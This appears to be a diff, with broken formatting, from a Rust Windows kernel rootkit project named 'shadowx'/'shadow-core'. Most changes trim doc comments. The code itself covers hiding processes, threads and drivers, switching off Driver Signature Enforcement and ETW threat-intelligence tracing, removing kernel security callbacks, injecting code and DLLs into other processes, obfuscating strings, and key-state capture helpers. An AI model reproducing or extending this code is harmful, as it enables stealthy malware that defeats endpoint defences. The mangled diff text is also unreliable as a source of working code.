/// Enumerates all threads and retrieves information about them.
|
/// Enumerates all threads and retrieves information about them.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
|
||||||
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
|
|
||||||
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
||||||
debug!("Attempting to open the driver for thread enumeration");
|
debug!("Attempting to open the driver for thread enumeration");
|
||||||
let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() };
|
let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() };
|
||||||
@@ -157,7 +132,6 @@ impl Thread {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Thread {
|
impl Drop for Thread {
|
||||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ pub fn update_key_state() {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `bool` - if the key was pressed, otherwise `false`.
|
/// If the key was pressed, otherwise `false`.
|
||||||
pub fn key_pressed(key: u8) -> bool {
|
pub fn key_pressed(key: u8) -> bool {
|
||||||
unsafe {
|
unsafe {
|
||||||
let result = is_key_down!(KEY_RECENT, key);
|
let result = is_key_down!(KEY_RECENT, key);
|
||||||
@@ -45,7 +45,7 @@ pub fn key_pressed(key: u8) -> bool {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A string representing the character corresponding to the code of the virtual key.
|
/// A string representing the character corresponding to the code of the virtual key.
|
||||||
pub fn vk_to_char(key: u8) -> &'static str {
|
pub fn vk_to_char(key: u8) -> &'static str {
|
||||||
for &(vk, char) in &VK_CHARS {
|
for &(vk, char) in &VK_CHARS {
|
||||||
if vk == key {
|
if vk == key {
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ pub const BANNER: &str = r#"
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `true` if the file exists, `false` otherwise.
|
/// If the file exists.
|
||||||
pub fn check_file(file: &String) -> bool {
|
pub fn check_file(file: &String) -> bool {
|
||||||
let file = Path::new(file);
|
let file = Path::new(file);
|
||||||
file.exists()
|
file.exists()
|
||||||
@@ -49,8 +49,7 @@ pub fn check_file(file: &String) -> bool {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(HANDLE)` - if the driver handle is successfully opened.
|
/// If the driver handle is successfully opened.
|
||||||
/// * `Err(())` - if there is an error.
|
|
||||||
pub fn open_driver() -> Result<HANDLE, &'static str> {
|
pub fn open_driver() -> Result<HANDLE, &'static str> {
|
||||||
log::info!("Opening driver handle");
|
log::info!("Opening driver handle");
|
||||||
|
|
||||||
@@ -79,7 +78,7 @@ pub fn open_driver() -> Result<HANDLE, &'static str> {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `verbose` - A `u8` representing the verbosity level.
|
/// The verbosity level.
|
||||||
pub fn init_logger(verbose: u8) {
|
pub fn init_logger(verbose: u8) {
|
||||||
let mut builder = Builder::new();
|
let mut builder = Builder::new();
|
||||||
let log_level = match verbose {
|
let log_level = match verbose {
|
||||||
@@ -112,8 +111,7 @@ pub fn init_logger(verbose: u8) {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(String)` - if the file has a `.sys` extension.
|
/// If the file has a `.sys` extension.
|
||||||
/// * `Err(String)` - if the file does not have a `.sys` extension.
|
|
||||||
pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||||
if val.ends_with(".sys") {
|
if val.ends_with(".sys") {
|
||||||
Ok(val.to_string())
|
Ok(val.to_string())
|
||||||
@@ -130,8 +128,7 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Some(u32)` - Returns the PID of the process found.
|
/// The PID of the process found.
|
||||||
/// * `None` - if no process with the specified name is found.
|
|
||||||
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||||
let mut system = System::new_all();
|
let mut system = System::new_all();
|
||||||
system.refresh_all();
|
system.refresh_all();
|
||||||
@@ -172,7 +169,7 @@ impl Callbacks {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A `common::enums::Callbacks` variant corresponding to the selected callback.
|
/// Variant corresponding to the selected callback.
|
||||||
pub fn to_shared(self) -> common::enums::Callbacks {
|
pub fn to_shared(self) -> common::enums::Callbacks {
|
||||||
match self {
|
match self {
|
||||||
Callbacks::Process => common::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
|
Callbacks::Process => common::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
|
||||||
@@ -190,6 +187,7 @@ impl Callbacks {
|
|||||||
pub enum Options {
|
pub enum Options {
|
||||||
/// Option to hide targets.
|
/// Option to hide targets.
|
||||||
Hide,
|
Hide,
|
||||||
|
|
||||||
/// Option to protect targets (disabled if the `mapper` feature is enabled).
|
/// Option to protect targets (disabled if the `mapper` feature is enabled).
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
Protection,
|
Protection,
|
||||||
@@ -200,7 +198,7 @@ impl Options {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A `common::enums::Options` variant corresponding to the selected option.
|
/// Variant corresponding to the selected option.
|
||||||
pub fn to_shared(self) -> common::enums::Options {
|
pub fn to_shared(self) -> common::enums::Options {
|
||||||
match self {
|
match self {
|
||||||
Options::Hide => common::enums::Options::Hide,
|
Options::Hide => common::enums::Options::Hide,
|
||||||
@@ -225,7 +223,7 @@ impl Protocol {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A `common::enums::Protocol` variant corresponding to the selected protocol.
|
/// Variant corresponding to the selected protocol.
|
||||||
pub fn to_shared(self) -> common::enums::Protocol {
|
pub fn to_shared(self) -> common::enums::Protocol {
|
||||||
match self {
|
match self {
|
||||||
Protocol::TCP => common::enums::Protocol::TCP,
|
Protocol::TCP => common::enums::Protocol::TCP,
|
||||||
@@ -249,7 +247,7 @@ impl PortType {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A `common::enums::PortType` variant corresponding to the selected port type.
|
/// Variant corresponding to the selected port type.
|
||||||
pub fn to_shared(self) -> common::enums::PortType {
|
pub fn to_shared(self) -> common::enums::PortType {
|
||||||
match self {
|
match self {
|
||||||
PortType::LOCAL => common::enums::PortType::LOCAL,
|
PortType::LOCAL => common::enums::PortType::LOCAL,
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "common"
|
name = "common"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
ntapi = { version = "0.4.1", default-features = false }
|
ntapi = { version = "0.4.1", default-features = false }
|
||||||
@@ -1,65 +1,53 @@
|
|||||||
/// Represents different types of callbacks available in the system.
|
/// Represents different types of callbacks available in the system.
|
||||||
///
|
#[derive(Debug, Copy, Clone, PartialEq, Default)]
|
||||||
/// These callbacks are used to monitor or intercept specific events in the system,
|
pub enum Callbacks {
|
||||||
/// such as process creation, thread creation, image loading, and more.
|
#[default]
|
||||||
#[derive(Debug, Copy, Clone, PartialEq, Default)]
|
/// The default callback type for process creation events.
|
||||||
pub enum Callbacks {
|
PsSetCreateProcessNotifyRoutine,
|
||||||
#[default]
|
|
||||||
/// The default callback type for process creation events.
|
/// Callback for thread creation events.
|
||||||
PsSetCreateProcessNotifyRoutine,
|
PsSetCreateThreadNotifyRoutine,
|
||||||
|
|
||||||
/// Callback for thread creation events.
|
/// Callback for image loading events.
|
||||||
PsSetCreateThreadNotifyRoutine,
|
PsSetLoadImageNotifyRoutine,
|
||||||
|
|
||||||
/// Callback for image loading events.
|
/// Callback for registry operations (using `CmRegisterCallbackEx`).
|
||||||
PsSetLoadImageNotifyRoutine,
|
CmRegisterCallbackEx,
|
||||||
|
|
||||||
/// Callback for registry operations (using `CmRegisterCallbackEx`).
|
/// Callback related to process object operations (using `ObRegisterCallbacks`).
|
||||||
CmRegisterCallbackEx,
|
ObProcess,
|
||||||
|
|
||||||
/// Callback related to process object operations (using `ObRegisterCallbacks`).
|
/// Callback related to thread object operations (using `ObRegisterCallbacks`).
|
||||||
ObProcess,
|
ObThread,
|
||||||
|
}
|
||||||
/// Callback related to thread object operations (using `ObRegisterCallbacks`).
|
|
||||||
ObThread,
|
/// Defines different operational modes or options for controlling behavior.
|
||||||
}
|
#[derive(Debug, Default)]
|
||||||
|
pub enum Options {
|
||||||
/// Defines different operational modes or options for controlling behavior.
|
/// Option to hide the process or thread.
|
||||||
///
|
#[default]
|
||||||
/// These options represent different modes or actions that can be applied to a process
|
Hide,
|
||||||
/// or thread, such as hiding it or enabling protection mechanisms.
|
|
||||||
#[derive(Debug, Default)]
|
/// Option to apply protection to the process or thread.
|
||||||
pub enum Options {
|
Protection,
|
||||||
/// Option to hide the process or thread.
|
}
|
||||||
#[default]
|
|
||||||
Hide,
|
/// Represents the type of protocol used in network communication (TCP/UDP).
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
/// Option to apply protection to the process or thread.
|
pub enum Protocol {
|
||||||
Protection,
|
/// Transmission Control Protocol (TCP), which is connection-oriented and reliable.
|
||||||
}
|
TCP,
|
||||||
|
|
||||||
/// Represents the type of protocol used in network communication (TCP/UDP).
|
/// User Datagram Protocol (UDP), which is connectionless and less reliable.
|
||||||
///
|
UDP,
|
||||||
/// This enum is used to distinguish between the two most common transport layer protocols:
|
}
|
||||||
/// Transmission Control Protocol (TCP) and User Datagram Protocol (UDP).
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
/// Represents whether the port is local or remote in the context of network communication.
|
||||||
pub enum Protocol {
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
/// Transmission Control Protocol (TCP), which is connection-oriented and reliable.
|
pub enum PortType {
|
||||||
TCP,
|
/// Represents a local port on the current machine.
|
||||||
|
LOCAL,
|
||||||
/// User Datagram Protocol (UDP), which is connectionless and less reliable.
|
|
||||||
UDP,
|
/// Represents a remote port on a different machine.
|
||||||
}
|
REMOTE,
|
||||||
|
}
|
||||||
/// Represents whether the port is local or remote in the context of network communication.
|
|
||||||
///
|
|
||||||
/// This enum is used to categorize a port based on its locality, either representing a
|
|
||||||
/// local port or a remote port, often used for networking applications.
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
|
||||||
pub enum PortType {
|
|
||||||
/// Represents a local port on the current machine.
|
|
||||||
LOCAL,
|
|
||||||
|
|
||||||
/// Represents a remote port on a different machine.
|
|
||||||
REMOTE,
|
|
||||||
}
|
|
||||||
@@ -6,10 +6,6 @@ use core::sync::atomic::AtomicPtr;
|
|||||||
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
/// Custom implementation of the `LIST_ENTRY` structure.
|
/// Custom implementation of the `LIST_ENTRY` structure.
|
||||||
///
|
|
||||||
/// This struct represents a doubly linked list entry, commonly used in low-level
|
|
||||||
/// systems programming, especially in Windows kernel structures. It contains
|
|
||||||
/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Clone, Copy)]
|
#[derive(Debug, Clone, Copy)]
|
||||||
pub struct LIST_ENTRY {
|
pub struct LIST_ENTRY {
|
||||||
@@ -20,21 +16,15 @@ pub struct LIST_ENTRY {
|
|||||||
pub Blink: *mut LIST_ENTRY,
|
pub Blink: *mut LIST_ENTRY,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
|
/// Represents the state of ETWTI.
|
||||||
///
|
|
||||||
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
|
|
||||||
/// information. The `enable` field controls the activation of this feature.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
pub struct ETWTI {
|
pub struct ETWTI {
|
||||||
/// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`).
|
/// If ETWTI is enabled or disabled.
|
||||||
pub enable: bool,
|
pub enable: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Input structure for enumeration of information.
|
/// Input structure for enumeration of information.
|
||||||
///
|
|
||||||
/// This struct is used as input for listing various entities, based on the
|
|
||||||
/// options provided.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
pub struct EnumerateInfoInput {
|
pub struct EnumerateInfoInput {
|
||||||
@@ -43,9 +33,6 @@ pub struct EnumerateInfoInput {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the target process and path for a DLL or code injection.
|
/// Represents the target process and path for a DLL or code injection.
|
||||||
///
|
|
||||||
/// This struct contains the necessary information to perform a code or DLL injection
|
|
||||||
/// into a target process.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
pub struct TargetInjection {
|
pub struct TargetInjection {
|
||||||
@@ -57,9 +44,6 @@ pub struct TargetInjection {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Represents information about a network or communication port.
|
/// Represents information about a network or communication port.
|
||||||
///
|
|
||||||
/// This struct holds information about a specific port, including the protocol used,
|
|
||||||
/// the type of port, its number, and whether the port is enabled or disabled.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||||
pub struct TargetPort {
|
pub struct TargetPort {
|
||||||
@@ -77,11 +61,6 @@ pub struct TargetPort {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the target registry key and value for operations.
|
/// Represents the target registry key and value for operations.
|
||||||
///
|
|
||||||
/// This struct holds information about a specific registry key and its associated value
|
|
||||||
/// for operations such as modifying or querying the registry. It includes the registry key,
|
|
||||||
/// the value associated with that key, and a flag indicating whether the operation should be
|
|
||||||
/// enabled or not.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
pub struct TargetRegistry {
|
pub struct TargetRegistry {
|
||||||
@@ -99,98 +78,78 @@ pub struct TargetRegistry {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the target thread for operations like manipulation or monitoring.
|
/// Represents the target thread for operations like manipulation or monitoring.
|
||||||
///
|
|
||||||
/// This struct contains the thread identifier (TID) and a boolean flag indicating whether
|
|
||||||
/// the thread is enabled or disabled (hidden or active).
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
pub struct TargetThread {
|
pub struct TargetThread {
|
||||||
/// The thread identifier (TID) of the target thread.
|
/// The thread identifier (TID).
|
||||||
pub tid: usize,
|
pub tid: usize,
|
||||||
|
|
||||||
/// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`).
|
/// A boolean value indicating whether the thread is hidden or unhidden.
|
||||||
pub enable: bool,
|
pub enable: bool,
|
||||||
|
|
||||||
/// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's
|
/// A pointer to the `LIST_ENTRY` structure.s
|
||||||
/// linked list of threads.
|
|
||||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
/// The options to control how the enumeration should behave, typically set by the user.
|
/// The options to control how the enumeration should behave.
|
||||||
pub options: Options,
|
pub options: Options,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Stores information about a target process for operations such as termination or manipulation.
|
/// Stores information about a target process for operations such as termination or manipulation.
|
||||||
///
|
|
||||||
/// This struct contains the process identifier (PID) of the target process. It is commonly used
|
|
||||||
/// when the PID is the only information required for an operation on a process.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
pub struct TargetProcess {
|
pub struct TargetProcess {
|
||||||
/// The process identifier (PID) of the target process.
|
/// The process identifier (PID).
|
||||||
pub pid: usize,
|
pub pid: usize,
|
||||||
|
|
||||||
/// A boolean value indicating whether the process is hidden (`true`) or visible (`false`).
|
/// A boolean value indicating whether the process is hidden or visible.
|
||||||
pub enable: bool,
|
pub enable: bool,
|
||||||
|
|
||||||
/// The signer of the process, typically indicating the authority or certificate that signed it.
|
/// The signer of the process.
|
||||||
pub sg: usize,
|
pub sg: usize,
|
||||||
|
|
||||||
/// The type of protection applied to the process, represented as an integer.
|
/// The type of protection applied to the process.
|
||||||
pub tp: usize,
|
pub tp: usize,
|
||||||
|
|
||||||
/// A pointer to the `LIST_ENTRY` structure, which is used to represent the process
|
/// A pointer to the `LIST_ENTRY` structure.
|
||||||
/// in the system's linked list of processes.
|
|
||||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
/// The options to control how the enumeration should behave, typically set by the user.
|
/// The options to control how the enumeration should behave.
|
||||||
pub options: Options,
|
pub options: Options,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Represents information about a module in the system.
|
/// Represents information about a module in the system.
|
||||||
///
|
|
||||||
/// This struct is used for enumerating modules loaded in the system. It includes
|
|
||||||
/// the module's memory address, its name, and an index that can be used for
|
|
||||||
/// identification or sorting purposes.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
pub struct ModuleInfo {
|
pub struct ModuleInfo {
|
||||||
/// The memory address where the module is loaded.
|
/// The memory address where the module is loaded.
|
||||||
pub address: usize,
|
pub address: usize,
|
||||||
|
|
||||||
/// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256.
|
/// The name of the module.
|
||||||
/// This allows compatibility with systems like Windows that use UTF-16 encoding.
|
|
||||||
pub name: [u16; 256],
|
pub name: [u16; 256],
|
||||||
|
|
||||||
/// The index of the module in the enumeration, useful for tracking or identifying the module.
|
/// The index of the module in the enumeration.
|
||||||
pub index: u8,
|
pub index: u8,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the target module within a specific process for operations like enumeration or manipulation.
|
/// Represents the target module within a specific process for operations like enumeration or manipulation.
|
||||||
///
|
|
||||||
/// This struct contains information about the target process and the specific module within that process.
|
|
||||||
/// It includes the process identifier (PID) and the name of the module being targeted.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
pub struct TargetModule {
|
pub struct TargetModule {
|
||||||
/// The process identifier (PID) of the process in which the target module is loaded.
|
/// The process identifier (PID).
|
||||||
pub pid: usize,
|
pub pid: usize,
|
||||||
|
|
||||||
/// The name of the target module, stored as a dynamically allocated string.
|
/// The name of the target module.
|
||||||
pub module_name: alloc::string::String,
|
pub module_name: alloc::string::String,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Callback Information for Enumeration (Output)
|
/// Callback Information for Enumeration.
|
||||||
///
|
|
||||||
/// This struct represents the information about a callback that is used in an enumeration process.
|
|
||||||
/// It includes details like the callback's memory address, name, and operations associated with it.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Copy, Clone)]
|
#[derive(Debug, Copy, Clone)]
|
||||||
pub struct CallbackInfoOutput {
|
pub struct CallbackInfoOutput {
|
||||||
/// The memory address where the callback is located.
|
/// The memory address where the callback is located.
|
||||||
pub address: usize,
|
pub address: usize,
|
||||||
|
|
||||||
/// The name of the callback, represented as a UTF-16 array of fixed length (256).
|
/// The name of the callback
|
||||||
/// This is useful for systems (like Windows) that use UTF-16 strings.
|
|
||||||
pub name: [u16; 256],
|
pub name: [u16; 256],
|
||||||
|
|
||||||
/// The index of the callback in the enumeration.
|
/// The index of the callback in the enumeration.
|
||||||
@@ -215,11 +174,7 @@ impl Default for CallbackInfoOutput {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Callback Information for Action (Input)
|
/// Callback Information for Action
|
||||||
///
|
|
||||||
/// This struct is used to represent input data when performing an action on a callback.
|
|
||||||
/// It includes the callback's index and the specific callback action to be taken.
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug, Copy, Clone)]
|
#[derive(Debug, Copy, Clone)]
|
||||||
pub struct CallbackInfoInput {
|
pub struct CallbackInfoInput {
|
||||||
/// The index of the callback that will be targeted by the action.
|
/// The index of the callback that will be targeted by the action.
|
||||||
@@ -230,48 +185,39 @@ pub struct CallbackInfoInput {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enumerates driver information for system drivers.
|
/// Enumerates driver information for system drivers.
|
||||||
///
|
|
||||||
/// This struct holds basic information about a driver, including its address, name, and an index
|
|
||||||
/// for identification.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
pub struct DriverInfo {
|
pub struct DriverInfo {
|
||||||
/// The memory address where the driver is loaded.
|
/// The memory address where the driver is loaded.
|
||||||
pub address: usize,
|
pub address: usize,
|
||||||
|
|
||||||
/// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256.
|
/// The name of the driver.
|
||||||
pub name: [u16; 256],
|
pub name: [u16; 256],
|
||||||
|
|
||||||
/// The index of the driver in the enumeration.
|
/// The index of the driver in the enumeration.
|
||||||
pub index: u8,
|
pub index: u8,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE).
|
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE)..
|
||||||
///
|
|
||||||
/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether
|
|
||||||
/// DSE is currently enabled or disabled.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
pub struct DSE {
|
pub struct DSE {
|
||||||
/// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled.
|
/// A boolean flag to enable or disable DSE.
|
||||||
pub enable: bool,
|
pub enable: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Represents the target driver for operations like hiding or revealing it.
|
/// Represents the target driver for operations like hiding or revealing it.
|
||||||
///
|
|
||||||
/// This struct holds information about a driver, specifically its name and a flag indicating whether
|
|
||||||
/// it should be enabled (visible) or hidden.
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
pub struct TargetDriver {
|
pub struct TargetDriver {
|
||||||
/// The name of the target driver as a dynamic string (heap-allocated).
|
/// The name of the target driver as a dynamic string.
|
||||||
pub name: alloc::string::String,
|
pub name: alloc::string::String,
|
||||||
|
|
||||||
/// A boolean flag that indicates whether the driver is enabled (visible) or hidden.
|
/// A boolean flag that indicates whether the driver is enabled or hidden.
|
||||||
pub enable: bool,
|
pub enable: bool,
|
||||||
|
|
||||||
/// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system.
|
/// A pointer to the `LIST_ENTRY` structure.
|
||||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system.
|
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure.
|
||||||
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
|
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
|
||||||
}
|
}
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "shadowx"
|
name = "shadow-core"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
@@ -1,32 +1,23 @@
|
|||||||
use obfstr::obfstr as s;
|
|
||||||
use wdk_sys::{
|
|
||||||
PsProcessType,
|
|
||||||
PsThreadType,
|
|
||||||
ntddk::MmGetSystemRoutineAddress
|
|
||||||
};
|
|
||||||
|
|
||||||
use common::enums::Callbacks;
|
use common::enums::Callbacks;
|
||||||
use crate::utils::{
|
use obfstr::obfstr as s;
|
||||||
patterns::scan_for_pattern,
|
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
|
||||||
uni::str_to_unicode
|
|
||||||
};
|
use crate::utils::{patterns::scan_for_pattern, uni::str_to_unicode};
|
||||||
use crate::{
|
use crate::{
|
||||||
Result,
|
|
||||||
data::FULL_OBJECT_TYPE,
|
data::FULL_OBJECT_TYPE,
|
||||||
error::ShadowError,
|
error::{ShadowError, ShadowResult},
|
||||||
};
|
};
|
||||||
|
|
||||||
/// This module implements various types of callbacks used throughout the project.
|
pub mod notify_routine;
|
||||||
mod callbacks;
|
pub mod object;
|
||||||
pub use callbacks::*;
|
pub mod registry;
|
||||||
|
|
||||||
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
/// The pointer to the routine's address if found.
|
||||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
unsafe fn find_ps_create_process() -> ShadowResult<*mut u8> {
|
||||||
unsafe fn find_ps_create_process() -> Result<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(s!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
let mut name = str_to_unicode(s!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
@@ -42,9 +33,8 @@ unsafe fn find_ps_create_process() -> Result<*mut u8> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
/// The pointer to the routine's address if found.
|
||||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
unsafe fn find_ps_create_thread() -> ShadowResult<*mut u8> {
|
||||||
unsafe fn find_ps_create_thread() -> Result<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(s!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
let mut name = str_to_unicode(s!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
@@ -57,9 +47,8 @@ unsafe fn find_ps_create_thread() -> Result<*mut u8> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
/// The pointer to the routine's address if found.
|
||||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
unsafe fn find_ps_load_image() -> ShadowResult<*mut u8> {
|
||||||
unsafe fn find_ps_load_image() -> Result<*mut u8> {
|
|
||||||
let mut name = str_to_unicode(s!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
let mut name = str_to_unicode(s!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
@@ -72,10 +61,8 @@ unsafe fn find_ps_load_image() -> Result<*mut u8> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count,
|
/// A tuple containing the callback list head, callback count, and the callback list lock if found.
|
||||||
/// and the callback list lock if found.
|
unsafe fn find_cm_register_callback() -> ShadowResult<(*mut u8, *mut u8, *mut u8)> {
|
||||||
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
|
||||||
unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8)> {
|
|
||||||
let mut name = str_to_unicode(s!("CmRegisterCallbackEx")).to_unicode();
|
let mut name = str_to_unicode(s!("CmRegisterCallbackEx")).to_unicode();
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
